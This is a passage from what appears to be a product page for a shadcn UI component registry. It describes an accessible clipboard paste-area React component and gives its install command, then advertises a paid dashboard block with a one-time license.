be pasted into it, so the region takes that one. Seventh, in global mode the element's own handler is dropped rather than added to, because a paste event bubbles to the document as well — keeping both delivers one Ctrl+V twice, as two copies of the same screenshot. Files are screened with accept, maxSize and maxFiles and anything skipped is reported through onReject instead of vanishing; every stage is announced through a live region that is in the DOM before it has anything to say, and visibly rather than only to screen readers, because "clipboard permission denied" is the answer to "why did nothing happen" and sighted people ask that too. One file, shadcn tokens throughout so it follows light and dark themes, and lucide-react is the only dependency.

npx shadcn@latest add https://pulld.pages.dev/r/paste-area.json

Hosted service

Pro blocks

Composed, opinionated blocks built from the free atoms — a license unlocks install. One-time, $39.

Dashboard Overview PRO

composes stat-card, avatar-stack, empty-state, theme-toggle, loading-button

A complete, responsive dashboard overview section: a header with team avatars, theme toggle, and a primary action, a 4-up stat-card row, and a recent-activity card with an empty-state fallback. Composes pulld's stat-card, avatar-stack, empty-state, theme-toggle, and loading-button so it drops into any shadcn project. Pro block.

npx shadcn@latest add "https://pulld.pages.dev/r/pro/dashboard-overview.json?key=YOUR_KEY"
Get a license — $39 one-time